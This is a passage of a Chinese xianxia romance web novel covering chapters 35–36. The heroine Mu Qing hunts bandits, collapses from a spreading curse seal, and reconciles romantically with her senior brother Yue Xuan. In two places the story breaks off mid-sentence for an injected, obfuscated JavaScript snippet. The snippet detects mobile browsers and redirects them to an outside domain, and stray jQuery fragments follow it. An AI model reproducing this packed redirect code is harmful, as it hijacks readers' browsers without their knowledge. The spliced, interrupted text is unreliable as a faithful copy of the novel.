声音沉冷如冰。
他抵达这座边城已有两日,本还犹豫着若慕情不来汇合,是否要去莫沙城“抓人”,没曾想重逢竟是这般“惊喜”场面。
钟武最是了解自家公子,离开衙门口后就立即安排了人手前往莫沙城调查情况。
慕情的事情在那边闹得沸沸扬扬,他的人几乎不费吹灰之力就打听得一清二楚,很快将消息传回。
于是,钟武看到自家公子的面色似乎更冷了几分。
·
夜间,月悬、追影和慕情久违地坐在一张桌子上吃饭,楚昭自然是跟商队在一起,没有跟在慕情身边。
因着白天的事情,饭桌上的气氛有些诡异。
追影不敢轻易吭声,慕情更是心中忐忑,唯有月悬仍是惯常地喜怒不形于色,自然地提起正事来。
慕情把自己调查的情况跟两位师兄说了,也从他们那里得到了不少消息。
流寇抓了不少人,为了确保人质的安全,围剿活动宜早不宜迟,他们决定明日开始行动。
慕情之前暗中探查,已经对他们有了一些了解,立即申请进入行动队伍。
追影和月悬深知她实力不俗,并非需要保护的娇弱女子,便应允了她的请求。
围剿流寇的行动还算顺利。流寇头子共有三人,均是修习了阴毒鬼术的邪修,手段诡谲,手下亡命之徒众多,盘踞风鸣涧深处,易守难攻。
幸而追影、月悬和慕情都在,三人也不是吃素的。
慕情一马当先,手中长剑如游龙,身法灵动诡谲,专挑邪修弱点下手,将流寇的阵型搅得大乱。
月悬则坐镇中枢,指挥若定,朔光所到之处,必有死伤,极大地限制了邪修鬼术的施展。
追影带人另走一路,负责策应和清除暗桩。
三人虽少有机会并肩,但颇有默契,配合其他清明使,如同摧枯拉朽般攻破了流寇老巢,将被困其中的商旅人和被掳来的年轻女子都放了。
将整个寨子搜查一遍后,慕情失望地发现,那流寇头子口称的“见过玉音公主”不过是一张画像而已,但画中女子的容貌,确实与她有七八分相似!
慕情心念微动,这些西北本地流寇,既然对玉音公主感兴趣,所知信息自然比她短期调查到的更多。
她一把揪住重伤的匪首,严厉审问。
“说!这画像从何而来?玉音的事情你知道多少?若有半句虚言,让你尝尝比死更难受的滋味!”
她指尖凝聚一丝内力,点在对方一处要穴上,痛得那匪首惨嚎连连。
“哎哟!我说我说,画像是上头给的线索。玉音公主……确实在此地隐居过一段时间,但我没见过啊!只听说她之前住在西南荆宿一个名为‘玄幽谷’的地方……”
荆宿……
慕情的心一沉,有些忐忑,因为在游戏设定里,荆宿这个地方是她的家乡,也是月悬的祖籍所在之处。
而且荆宿地处西南,与那本《梦中游仙》的出处也非常近。
之前眷王府派出人与夏姨一同前往西南探查关于游仙印的线索,但是一直没有好消息传来。
如今看来,问题的核心很可能就在荆宿。
慕情当即决定改变行程,转道西南!
·
流寇案基本了结,月悬也需回京坐镇,留下追影负责扫尾。
临别之际,月悬看着慕情,深邃的眼眸中翻涌着太多复杂的情绪——有关切,有担忧,有欲言又止,最终却都化为一片沉寂的深海。
他终究什么也没说。
钟武看向慕情的目光更是复杂,最终只化作一声沉重的叹息:“慕情姑娘……你……多多保重。”
慕情被他们这反应弄得心中疑惑,又弥漫着浓浓的不舍。
她强压下翻涌的情绪,努力维持着自然的笑容,挥手与他道别,目送他乘坐的马车消失在滚滚烟尘之中。
而楚昭因为不放心她去冒险,这几日也仍然暂留在城中。得知慕情改道西南后,两人约定日后保持书信往来,这才一同出城,在城外的岔路口分道扬镳。
慕情此番行程较急,便卖了陪伴她许久的毛驴,在楚昭的资助下换了一匹脚程快、耐力好的骏马。
临别时,她利落地翻身上马,与马车里的楚昭挥手告别。
楚昭却从车厢里取出一个沉甸甸的雕花木箱递给她。
慕情打开一看,里面竟是满满一匣子光华璀璨的金银首饰,件件名贵精致。
她一眼认出,这分明是楚家父母之前为张家小姐准备的聘礼中的一部分!
“这太贵重了!我不能收!”慕情连忙推拒。
楚昭笑得温润,半开玩笑地说:“本来就是给你的呀,你可是我的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15890353|173051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
‘未婚妻’啊。”
语气带着几分调侃,却无半分轻佻。
随即又正色道,眼神温柔而坚定:“我对她的心意,此生不变,不会再娶他人。这些女子之物于我无用,你我情谊深厚,亲如兄妹,给你才不算浪费了。”
慕情心头微暖,但还是摇头,“可是……你一个生意人,便是放着无用,也可以换成钱财呀。”
楚昭笑道:“你看我像是缺那点钱的人吗?莫要推辞了,我看你作风节俭,此去西南,山高路远,万一有什么用钱的地方,也免得困窘。”
“而且……经此一别,以后何时再见,还能不能见,都是未知数。”他说着,调侃地冲她眨了眨眼,“这些,权当兄长给妹妹添的嫁妆了,收下吧。”
慕情脸色微红,见他态度坚决,想到西南之行前途未卜,确实需要盘缠,便不再推辞,郑重收下:“好,那我收下了。谢谢楚大哥!”
“你呢,接下来打算去哪里?”慕情问。
“继续去边关看看吧。”楚昭的目光投向苍茫的戈壁,“总想再找找……她的消息。”
慕情看着马车旁那个沉默的铠甲战魂,展颜一笑,意有所指道:“说不定……她也在找你,并且早就找到了呢。”
说完,不再停留,一夹马腹,骏马长嘶一声,朝着西南方向疾驰而去。
楚昭先是茫然地顺着她的目光看去,只见到空旷的戈壁和寂寥的风。
旋即,他想起慕情与清明司的关系,似乎猛地领悟了什么,身体一震,嘴唇微微颤抖。
他缓缓垂眸,目光落在空无一物的身侧,仿佛那里真的站着什么人。
良久,一抹混合着无尽思念与释然的、极其温柔的笑意,在他唇边缓缓漾开,带着一丝不易察觉的泪光。
·
楚昭所赠之物,价值惊人。
慕情掂量着那沉甸甸的木匣,只取了一小部分易于携带的小巧金饰换了银票,以备急用。
大部分都仔细封好,托付给清明司可靠的送信队伍,寄回京城给无心,请他代为保管。
她心中清楚,这不仅是一笔财富,更是一份沉甸甸的情谊。
此时京城王府的无心,已经从追影的密报中得知了西北发生的乌龙事件。
大师兄千里迢迢赶去,结果小师妹成了别人的“未婚妻”。
他第一反应是绝不可能!
等到又过了几日,大师兄回京,他原想去问问,但看到大师兄表面平静,实则寒气四溢,气压低得吓人的模样,终究没敢去触霉头。
接着他很快又收到慕情寄来的沉甸甸的箱子和信件,打开一看,满目珠光宝气。
他将她的信看了一遍,又看了看那一箱子名贵的珠宝首饰,深深感觉自家大师兄药丸。
论财富地位,堂堂眷王府自然远胜区区一商人,王府库房里随便拿件东西出来,价值都未必输给这匣子。
但是,他那冷面冷心、一心扑在公务上的大师兄,何曾有过这等细腻心思?
他仔细回忆了一下,除了一些玩具小食,大师兄似乎没给小师妹买过什么像样的礼物。
这差距……太虐了!
三师姐海棠也看完了信,在他脑门上敲了一记爆栗,“你呀,尽帮倒忙。”
无心捂着发痛的额头,一脸无辜。他也想不通,他明明每次都是出于好心,怎么结果总是不尽如人意?
看着那箱扎眼的珠宝,无心愁得直揪头发,最终,他也没敢告诉大师兄,默默地把东西锁在了柜子深处。
35. 第 35 章
慕情快马加鞭赶往西南,风尘仆仆,很快与仍在当地调查的夏姨取得了联系。
两人在一处隐蔽的茶肆碰头,窗外是湿热的西南山色。
夏姨这段时间在西南停留,也并非毫无收获,两人互相交换了一下信息,拼凑出更清晰的脉络。
当年玉音随前朝太子逃出皇宫后,秘密藏匿于西南山区之中。正是在这里,她生下了一个女儿。然而,这个女儿却在某一天离奇失踪了。
夏知春当年与玉音匆匆一晤,从她悲痛欲绝的叙述中得知的消息是“女儿夭折”。
但这些时日,她找到了那个曾经照顾过玉音和孩子一段时间的老人,得知那个女婴出生时确实先天不足,体弱多病,有早夭之相,但谁也没有真正见过她的尸体或坟墓。
她是突然有一天,就毫无征兆地消失了,仿佛人间蒸发。
慕情握紧拳头,心里觉得她如今使用的这具身体,很可能就是玉音当年那个“夭折”的女儿。
可问题在于……为什么这张脸与她车祸受伤之前,也长得一模一样呢?
一种难以言喻的荒诞与宿命感攫住了她,她下意识抚上自己的脸颊,跟夏姨提出想去那流寇头子提到的“玄幽谷”看一看。
“玄幽谷?”夏姨微愣了一下,“你如何得知这个地方的?”
慕情将剿灭流寇的经过说了一遍。
夏姨却摇头,“玉音早年确实在玄幽谷待过一段时间,但玄幽谷,早就已经没了。”
“没了?是什么意思?”慕情茫然地问。
从夏姨口中,她得知了一段被岁月尘封、带着血腥与禁忌的往事。
当年前太子在修炼上极有天赋,却不走正途,于玄幽谷中醉心于研究禁忌邪术,引来各派围剿。
据说玄幽谷位置隐蔽偏僻,因此那一战打得激烈却不为普通人所知。
总之那一战之后,参与围剿的正派死伤颇多,玄幽谷也从此在世界上完全消失了踪迹,再找不到入口。
如今,参与过此战的人大多年事已高,或早已埋骨青山,或隐居已久不再出世,即使尚在人世,对此也讳莫如深,绝口不言,仿佛那是一场不堪回首的噩梦。
夏姨之所以知晓,是因为眷王李乘风,也是参与人之一。
当年他也不过二十多岁,虽为皇室中人,却自小进山修行,心性淡泊,不沾尘世,是奉师命跟随师门长辈一同来到玄幽谷。
“说起来,清明司的建立,也与此事密不可分。”夏姨长叹一声,告诉她,“李乘风本非热衷于权势之人,只是自从玄幽谷诡异消失后,世间魑魅魍魉阴邪鬼物便如雨后春笋般突然多了数倍,加上皇权更迭,朝堂一片混乱。他这才出山回到京城,权衡局势,一手组建了现在的清明司,以镇魑魅,护佑苍生。”
“清明司竟然还有这样的来历……”慕情喃喃道,心头那份不安愈发浓重,“不管怎么样,我还是想去荆宿看一看。”
算起来,荆宿一共发生过两次大事,一次是二十几年前,正道围剿玄幽谷,随后玄幽谷从此消失。
第二次是十五年前,荆宿一个寂寂无名的小镇榴花镇,发生了时空坍塌,整座镇子落入幽冥,死伤无数。
在游戏设定中,夏知春正是在十五年前榴花镇的那场灾难后,捡到了年幼的慕情。
当时的她不过四五岁,记忆破碎而模糊,只记得天穹撕裂、大地塌陷、鬼哭狼嚎般的恐怖景象。
她和同样幸存的月悬被救出,然后被夏姨带回瑶光谷治疗休养。
两年后,月悬被眷王李乘风接到京城,随后创建清明司,而慕情则一直跟在夏姨身边长大。
没错,在这个“真实”的世界里,月悬是那场灾难中唯一的幸存者。
但在她的“游戏”记忆里,活下来的分明是两个人,一个是月悬,一个是她。
这个认知的割裂感,让她对荆宿既充满探寻的渴望,又带着一丝难以言喻的恐惧。
她隐约觉得,这个秘密或许与她的穿越、与这具身体的原主息息相关。
慕情没把此事告诉夏姨,只说自己想去荆宿一探究竟。
夏姨见她心意已决,自然也没有反对。
但就在她们收拾行装,即将动身前往那传说中已不存在的玄幽谷旧址时,一封来自京城的加急密信,打断了计划。
无心追查“毒蛟”花无期终于有了重大突破。
此人不仅与鬼王教关系匪浅,更是鬼王教“造鬼实验”的直接负责人之一!
而信中紧急召唤慕情回去的原因,更是让她心惊肉跳,手脚发凉。
在调查花无期的过程中,他们顺藤摸瓜,发现了“游仙印”的踪迹。更令人毛骨悚然的是,在鬼王教内部,这东西被称为——鬼王印。
一听此消息,夏知春哪里还顾得上探寻慕情的身世之谜,立即拉着她,以最快的速度赶往苑西与王府众人汇合。
·
苑西,一处隐秘的据点内。
气氛有些压抑和凝重。除了需坐镇京城的眷王李乘风,月悬、无心以及负责西南事务的海棠都已秘密抵达。
昏黄的烛火摇曳,将众人的身影投射在墙壁上。
几人围坐在一张铺满了详尽地图与情报纸张的方桌前,商讨着围捕花无期的方案。
月悬指尖划过地图上标记的红点:“无期楼的位置已经确定,但花无期为人狡诈,豢养的死士皆悍不畏死,精通阵法。强攻代价太大,需引蛇出洞。”
海棠补充道:“最新线报,他明晚会在城郊‘栖霞庄’与一个重要买家接头,守卫相对薄弱,是绝佳时机。”
慕情心神不宁地坐在角落的阴影里,听着他们冷静的分析,脑子里却有些混乱。
这么多信息汇合在一起,真相似乎呼之欲出,但她又理不清头绪。
突然,一股尖锐到无法忍受的剧痛,毫无预兆地从锁骨下方的游仙印处爆发。
慕情瞬间闷哼一声,脸色煞白如纸,额头上豆大的冷汗滚滚而下,整个人控制不住地从椅子上滑落下去。
“小师妹!”对面的海棠第一个发觉,惊呼出声。
“慕情!你怎么了?”月悬的轮椅瞬间滑至她身边,伸手拉住她,表情是罕见的焦急。
“我……”慕情疼得眼前发黑,说不出话来,只是右手紧紧按着锁骨下方“游仙印”的位置。
夏知春一眼就看出问题所在,立即上前微微拉开她的衣领。
只见那诡异的咒印颜色已经明显变得更深,边缘泛着不祥的暗红,形状诡异地扭曲、伸展,仿佛活物般在皮肤下微微搏动,形状也越来越清晰完整。
她立刻取出随身带的金针,在那咒印周围刺了下去,勉强将情况控制住了。
慕情的疼痛减轻,这才缓缓睁开眼睛,看到围着她的众人担忧的神情。
月悬几乎是抱着她,低头沉声询问:“这种情况什么时候开始出现的?”
慕情疼得一头汗,闻言心虚地不敢看他:“没有多久……就,一个多月吧……”
夏知春皱眉摇头:“你这丫头,怎么不早告诉我们?”
慕情低着头,小声道:“既然是咒印,发作疼痛也正常……只是偶尔疼一次……时间也不算很长……”
声音细若蚊呐,毫无说服力。
她更不敢告诉他们,自己早就已经问过明绝,这咒印会不会让她死掉。
明绝当时没有正面回答,但已经很说明问题了。
众人拿她也没办法,看着她苍白虚弱的脸,心都揪紧了。
心知事情刻不容缓,需不惜一切代价尽快搞定花无期,撬开他的嘴,查清这咒印的具体情况。
根据最新情报,花无期将于次日傍晚在城郊一处废弃庄园“栖霞庄”与人密会。
机会难得,行动方案迅速敲定。
慕情坚持要一同前往。月悬看着她苍白却倔强的脸,最终沉默地点了点头。
“跟紧我。”
·
栖霞庄是一处废弃之地,残垣断壁间,一行人神出鬼没地出现。
花无期年约三十许,面容阴柔俊美,狭长的眼眸流转间却带着一股令人不适的邪异戾气。
他身手飘忽诡谲莫测,如同鬼魅穿行,身边还跟着几个同样气息阴冷、眼神麻木的死士。
此人不愧其“毒蛟”之名,对危险的感知极为敏锐,甫一出现,便察觉到栖霞庄内气息不对。
他与身边下属对视一眼,转身欲走。
战斗一触即发,清明司众人纷纷出手,一时间,刀光剑影,劲气四溢,废弃的庄园内碎石飞溅。
花无期手下的人手段狠辣,招式诡谲,但在清明司众人配合下,也难以招架。
战况胶着之际,花无期眼中闪过一丝狠厉,猛地咬破舌尖,喷出一口精血,双手结出一个极其诡异的印诀,口中念念有词。
刹那间,庄园内阴风怒号,无数面目狰狞、散发着浓郁怨气的恶鬼被他强行召唤而来,尖啸着扑向清明司众人,阴气浓度瞬间暴涨。
“小心!”月悬冷声提醒,朔光爆发出璀璨寒芒,瞬间斩灭数只扑来的恶鬼。
而在众人有意护着的后方,慕情原本凭借灵活身法游走策应,动作却猛地一顿,锁骨下的游仙印如同被点燃的烙铁,骤然爆发出刺目的幽光。
一股狂暴而阴冷的力量不受控制地在她体内横冲直撞,剧痛瞬间淹没了她的意识。
“啊——!”她痛苦地嘶喊出声,身体剧烈地抽搐着,游仙印的光芒明灭不定,仿佛要挣脱她的身体。
清明司众人被这突如其来的变故分了心神,阵型微乱。花无期抓住这稍纵即逝的机会,如同鬼魅般冲破包围,几个起落便消失在茫茫夜色之中。
众人此刻也顾不上追击花无期,月悬第一个、几乎是瞬移般冲到慕情身边,只见她双目紧闭,脸色青灰,嘴角溢出一缕暗红的血丝,气息微弱得几不可闻,已然陷入深度昏迷。
看那状态,比以往任何一次都要凶险万分。
“快!带她回去!”夏知春声音凝重。
众人火速将慕情带回安全据点。
夏知春立刻施针救治,银针如雨般落下,辅以内力疏导。
然而,这一次,无论她如何努力,慕情都如同沉入了无底深渊,毫无醒转的迹象。她的生命力仿佛在急速流逝。
“怎么会?!”夏知春皱着眉头,脸色微白。
月悬看着床上气息奄奄的人,眼底翻涌着骇人的风暴。
他猛地转身,一言不发,操控轮椅离开了房间,钟武紧随其后。
他们直奔关押花无期手下的地方。
月悬如同地狱修罗,手段凌厉狠绝,很快便从一个心腹口中逼问出了花无期可能的藏身之处,苑西城外一处极其隐秘的山洞。
月悬亲自带队,以雷霆之势突袭了那个山洞。
山洞内机关重重,守卫森严,但在盛怒之下的月悬面前,如同纸糊一般,朔光所过之处,摧枯拉朽。
最终,在一间布置得奢靡华丽、摆满各种奇异药材和瓶瓶罐罐的密室里,月悬找到了重伤未愈、正试图转移的花无期。
花无期看到破门而入的月悬,眼中闪过一丝怨毒,更带着鄙夷:“呵,一个残废,也敢……”
话音未落,月悬的身影已如鬼魅般出现在他面前。
朔光带着撕裂空气的尖啸,直刺要害!
花无期骇然失色,他没想到月悬的速度和力量竟恐怖如斯,重伤之下更是不敌,几个回合便被月悬一剑刺穿肩胛,狠狠掼倒在地。
冰冷的剑锋随即抵住了他引以为傲的脸颊。
“说!鬼王印的破解之法!”月悬的声音如同来自九幽寒冰,每一个字都带着凛冽的杀意。
剑锋微微用力,一道血痕瞬间出现在花无期脸上。
“毒蛟”花无期还有一个特点,但自负容貌天下无双,极其爱美,视容颜如命,毁容比杀了他还难受。
他痛呼出声,眼中终于露出恐惧之色。
“……鬼王印?我知道了……你们是为那所谓的小师妹来的吧?”
花无期喘着粗气,脸上仍然强撑着一丝扭曲的嘲弄,“可惜了,那玩意儿……早就被证实是行不通的死路。不过是鬼王教当年画的一个大饼,用来哄骗那些狂热信徒献上自己孩子的噱头罢了。”
月悬瞳孔骤缩,剑锋更进一分:“什么意思?!”
“意思就是……没用!根本不可能成功。”花无期忍着剧痛,“鬼王计划很多年前就终止了,我接手这个烂摊子时,已经是收尾阶段。不然我才不屑于去做这种下作事情,据我所知,所有种下鬼王印的人都死了,死后连魂魄都没留下,彻底烟消云散。”
他看向月悬,带着一丝幸灾乐祸,“你那小师妹,能活到现在,已经是奇迹了,她注定……”
“缓解之法呢?”月悬的声音紧绷如弦,打断了他的话。
花无期扯了扯嘴角:“阴气……大量的阴气或许能暂时缓解印记发作的痛苦……但也会加快鬼王印的发展,无异于饮鸩止渴……我劝你,还是别白费力气了。”
月悬眼神冰寒刺骨,命人将他严密看押,严刑拷问,榨干所有剩余价值。
回到据点,他带着一身挥之不去的血腥气和深重的疲惫,沉默地来到慕情床前。
看着无心和海棠带人搜回来的、关于“鬼王印”的那些字迹模糊、沾着不明污渍的残缺卷宗,上面冰冷的记录与花无期所言一一印证。
几十个试验品都是自愿想要成为鬼王的教众的孩子,有的种下游仙印没几年就死了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15890354|173051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,最大的也只长到了十九岁。
月悬看完后不言语,独自在院中枯坐了一夜。
·
慕情昏迷期间,病势凶险万分,反复无常。有时高烧不退,呓语连连,有时疼痛不已,满身冷汗,有时浑身冰冷,气息微弱。
夏姨殚精竭虑,用了许多方法,甚至尝试了以毒攻毒的险招,都不能将慕情从深度昏迷中唤醒。
拖了几日后,看着慕情日渐消瘦、生机不断流逝的模样,他们心如刀绞,还是决定尝试一下花无期所说的方法。
月悬握住慕情的手腕,将自己的内力灌入慕情身体中。
他早年曾跌入幽冥,身体中积累了极重的阴寒之气,此刻却刚好能缓解她的痛苦。
当那带着月悬气息的阴寒内力涌入,慕情紧蹙的眉头似乎舒展了一丝,身体无意识地向他靠近,下意识地向自己感到唯一舒服和熟悉的地方蹭去,跌入他的怀中。
在月悬的帮助下,慕情偶尔能够短暂地醒来,但意识明显有些恍惚,眼神迷蒙,记忆也更加混乱。
她生病后格外黏人,而且有时候迷迷糊糊的,会忘记两人的关系,拉着月悬不让他走。
她待他十分亲近,经常嘟囔着喊他的名字:“沈听寒……冷……抱……”
抱着他的腰不肯放手,小脸无意识地在他颈窝蹭着,寻求温暖。
甚至会在半梦半醒间,迷迷糊糊地凑上来,嘟囔着“亲亲……”,温软却毫无章法的唇瓣擦过他的下颌或脸颊。
什么都干过。
月悬身体僵硬了一瞬,随即也任她胡闹,小心翼翼地调整姿势让她靠得更舒服。
他有时有些恍惚,以为自己又陷入了那个梦境中,但很快又被慕情痛苦的表现而惊醒。
在梦中,她未曾如此痛苦过。
他只能将所有的情绪,连同那份悄然滋生的、不合时宜的情愫,都死死地压下去,将阴寒的内力输入她身体之中。只是抱着她的手臂,会不自觉地收得更紧一些。
解决完苑西之事后,一行人带着重伤昏迷的慕情和沦为阶下囚的花无期,回到京城。
或许是回到了熟悉的地方,慕情在偶尔清醒的短暂时刻更加肆无忌惮。
王府的下人偶尔撞见月悬抱着昏睡的慕情回房,或是慕情迷糊中拉着月悬的手不放,月悬就坐在床边任由她拉着,直到她再次睡去。
渐渐地,王府上下几乎都默认了两人不同寻常的关系,看向他们的目光带着了然与一丝不易察觉的叹息。
半个月后,经过夏姨和莫医师的呕心沥血联合调养,加上月悬日夜不息、损耗自身常用内力帮她缓解痛苦,慕情的病情终于奇迹般地转好,清醒的时间越来越长,意识也逐渐清明。
只是那“游仙印”又或者“鬼王印”的轮廓越来越清晰、颜色越来越深沉的趋势已无法逆转。
众人表面上不显,强颜欢笑,心中都沉甸甸地,有些难过。
慕情又一次度过了一次凶险的发病,终于真正清醒过来。
意识回笼,病中那些模糊又清晰的片段,如同潮水般涌入脑海,那些依赖、那些亲昵、那些她主动做出的羞人举动……
慕情顿时羞得满脸通红,恨不得找个地缝钻进去!
看到月悬端着药碗,推门进来,她立刻鸵鸟般把脸埋进被子,呐呐喊了一声:“月悬师兄。”
月悬一顿,看着她露在外面的、红得滴血的耳尖,声音听不出情绪:“今天怎么这般乖觉?”
“对不起……又给你添麻烦了……”声音闷闷地从被子里传来。
月悬略微沉默片刻,轻声问道:“这是……终于清醒过来了?”
“……嗯。”慕情沮丧地点头。
“还记得你病中做过什么?”他走近床边,将药碗放在小几上。
慕情硬着头皮,慢吞吞地从被子里露出一双写满羞窘的眼睛,点了点头。
眼神躲闪,不敢看他。
“所以……病好了,就不认账了?”月悬的声音低沉,嘴角牵起极浅的弧度,带着一丝难以察觉的……逗弄?
慕情羞愧得简直要原地蒸发,“我没有这个意思……”
声音细若蚊呐。
“先喝药。”悬端起药碗,递到她面前,语气不容置疑。
慕情乖乖把那碗苦涩无比的药喝完了,脸皱成一团,也不敢嚷嚷着太苦,只是喝完下意识地吐了吐舌头。
月悬看着她孩子气的动作,眼底深处掠过一丝极淡的笑意,伸手,动作自然地摸摸她的头。
然后,他微微倾身,靠近了一些,那双深邃的眼眸专注地凝视着她,仿佛要看到她灵魂深处。
他的声音低沉而清晰:“愿意抛弃你那个什么姓楚的未婚夫,跟师兄在一起吗?”
“咳……咳咳咳……”慕情被这突如其来的、直白到惊悚的问题惊得一口气没喘匀,被最后一口药呛了一下,脸色爆红,“你……你说什么?”
她简直不敢相信自己的耳朵!
月悬不说话,就看着她。
“楚……楚昭不是我的未婚夫!”时隔这么久,慕情终于有机会把这个误会解开了。
她语速飞快,带着急于澄清的迫切,把事情的来龙去脉一五一十、详详细细地跟他说了一遍。
末了,还小声强调:“真的只是朋友!为了帮他而已,那些传言都是假的!”
月悬静静地听着。
随着她的叙述,那层笼罩在眉宇间的寒冰似乎悄然融化,紧绷的下颌线也柔和了些许。
待她说完,他沉默了片刻,那双深邃的眼眸里,仿佛有什么东西彻底沉淀下来,变得清晰而坚定。
他再次开口,声音比刚才更低沉,也更温柔,带着一种前所未有的认真:
“那……师兄还有机会吗?”
慕情心脏猛地一跳,像被什么东西狠狠撞了一下。
支吾片刻,看着他近在咫尺的、褪去了所有冰冷、只剩下专注和等待的俊颜,一股强烈的、几乎要冲破胸膛的悸动和欢喜涌了上来,根本不舍得拒绝,也无法拒绝。
所有的羞耻和顾虑在这一刻都显得微不足道。
她必须得承认,她就是喜欢他,不管是游戏还是真人……
她索性破罐子破摔般,哭丧着脸投入他怀中,将滚烫的脸颊埋在他坚实的胸膛,闷声闷气地嘟囔:“你明知故问……”
月悬感受到怀中温软的触感和她毫不掩饰的依赖,胸腔中那口一直压抑的浊气终于缓缓吐出。
他伸出手臂,轻柔而坚定地环抱住她,低沉悦耳的轻笑声在安静的房间里漾开,带着前所未有的轻松和满足。
下巴轻轻蹭了蹭她的发顶。
窗外,一缕阳光正好穿透云层,洒在相拥的两人身上,暖意融融。
36. 第 36 章
自花无期落网之后,对鬼王教的搜捕似乎停滞了。
慕情因病被困在府中,虽然月悬每日必抽出两个时辰过来陪她,面上也从来不显露疲惫,但她还是从其他人略显紧绷的状态中察觉到,他们现在都忙得焦头烂额,面临着不小的阻碍。
王府上下把她当做易碎的瓷器一样,说什么也不让她再掺和任何公务,只反复叮嘱她好好静养。
慕情也知自己如今是累赘,不愿再添乱,按下心中担忧,老实蛰伏下来。
精神状态好的时候,她就在王府花园中摆弄摆弄花草,逗逗狸花猫肉包。
天气渐暖,她去年冬种下的几十棵桃花树熬过苦寒,枝头颤巍巍地绽开了几簇浅粉。
虽然只是不到一人高的树苗,开花也形成不了花海那样壮观的规模,但慕情依然很开心,每天都要仔细看一遍。
这日清晨,她去花园里采摘了些饱满的花瓣,央着厨娘张婶帮她做成了桃花酥,又亲自用山泉水冲泡了一壶花茶,放在托盘里送去止院。
她此番病重,瘦了很多,体力也有些不济,忙碌了一早上,走了一段路后就有些疲惫,便在花园里的石桌石凳处暂歇。
无心拿着几份卷宗路过,看样子也是要去止院,见到她就笑了起来。
“哟,大嫂,这么有兴致,坐这儿赏花呢?”
慕情闻声抬头,冲他招了招手,等他凑近了后故意板起脸,指着桌上的托盘:“小五啊,你来得正好,帮我端着。”
无心笑着在她脑门上轻敲了一下:“捧你两句还真扯上大旗了,叫谁小五呢?”
慕情捂着额头,也笑了起来:“谁让你先调侃我的。”
“好好好,是我的错。”无心单手拿起桌上的托盘,问她,“你是要去找大师兄?”
“嗯。”慕情跟着他站起来,与他并肩而行,“他最近是不是很忙?”
无心也不瞒着她,“是有一点。你来得正好,看着点他。”
两人步入止院书房时,月悬正凝神看着案上地图,眉心微蹙,见他们进来,才舒展了眉头。
无心放下卷宗,简洁汇报了几句便匆匆离去。
门一关上,慕情便两步走到他身边,轻盈地往他腿上一坐,双臂自然地环住他的脖颈。
月悬顺势揽住她纤细的腰背,温声问:“今日感觉如何?可还有哪里不适?”
“好着呢。”慕情摇头,捧起他的脸,凑近了仔细端详,指尖轻轻拂过他眼下那片不易察觉的淡青色阴影,“倒是你,你昨晚是不是熬夜了?”
月悬失笑,捉住她作乱的手指:“有些卷宗需得连夜看完,耽误了些时辰。放心,我有分寸。”
慕情指尖在他胸膛上点点,“那早饭吃过了吗?”
月悬语塞,无奈坦诚:“……还未曾。”
“我要去跟王爷和夏姨告状。”慕情佯怒,作势要起身。
“别,”月悬连忙收紧手臂,将她圈回怀里,低笑道,“我知错了,你不是带了桃花酥过来?现在吃也一样的。”
慕情这才放过他,起身把点心和花茶端过来。
“以后我要每天看着你吃饭,盯着你睡觉!”她语气坚定,“晚上我要亲眼看着你用完晚膳回卧房熄灯才走,不许糊弄我!”
月悬捏了捏她的手心:“好,都依你。只是……今晚恐怕不行。”
“嗯?”慕情疑惑。
“皇上召见,需随义父入宫一趟。”月悬解释道。
“宫中?”慕情一愣。
大景朝的皇帝一直没什么存在感,自三十多年前那场宫变之后,皇帝之位先后更迭了三次。
前两任皇帝均上任不久后暴毙,如今在位的皇帝在位时间最长,9岁被扶上皇位,至今已12年。
按理来说,幼帝长大后会逐渐收回权柄,开始亲政,但这位皇帝却醉心玩乐,似乎对权力和国事并不感兴趣。
连偶尔召见大臣或皇亲国戚,也都是在下朝之后,召来歌舞伎,让众人一同欣赏。
平日里眷王并不怎么参与小皇帝这些活动,一般都是随便找个理由推了,今日却要前往,想来是另有缘故。
月悬身为眷王义子,又已受封世子,自然经常需要陪同眷王应酬。
慕情没有多问,只乖巧点头:“那好吧,你早些回来,我等你。”
两人又依偎着说了会儿话,慕情怕耽搁他处理堆积如山的公务,便先行离开了。
回京已有些时日,慕情想起给过她不少帮助的赵墨华,临走前没能见上一面,如今回来了,心中倒有些记挂。
下午得空,慕情便寻去了他京中的别院。叩门许久,却无人应答。
看着紧闭的门扉,慕情不免有些失落:“难道已经离京了?”
带着些许遗憾,她沿着熟悉的街道慢悠悠地往回走。春日暖风熏人,街市喧嚣,一派太平景象。
然而,就在她经过一条僻静小巷口时,身旁却突然传来异动。
不等她反应,一只冰冷的手如同铁钳般猛地从斜刺里伸出,扣住她的手腕拽入幽暗的巷子。
慕情心中警铃大作,身体本能地绷紧,另一只手已蓄力待发!
然而,当她看清眼前人时,蓄积的力量瞬间消散,取而代之的是惊愕。
“明绝?!”
来人一身宽大的黑色斗篷,兜帽遮住了大半张脸,只露出线条冷硬的下颌。
正是许久不见的大鬼明绝,更让慕情惊讶的是,此刻虽是白日,他却能安然行走于阳光之下,身上那股阴森鬼气也淡了许多,若不细看,与常人无异。
“你……你现在能白天出来了?”慕情惊喜地问,这无疑是个好消息。
明绝性格一如既往地冷淡,没有寒暄,直切主题。
“鬼王教的人在抓你,没事儿不要一个人出来。”他的声音沉冷如冰,“还有,他们打算今天晚上动手,杀花无期。”
“杀花无期?”慕情瞳孔微缩。
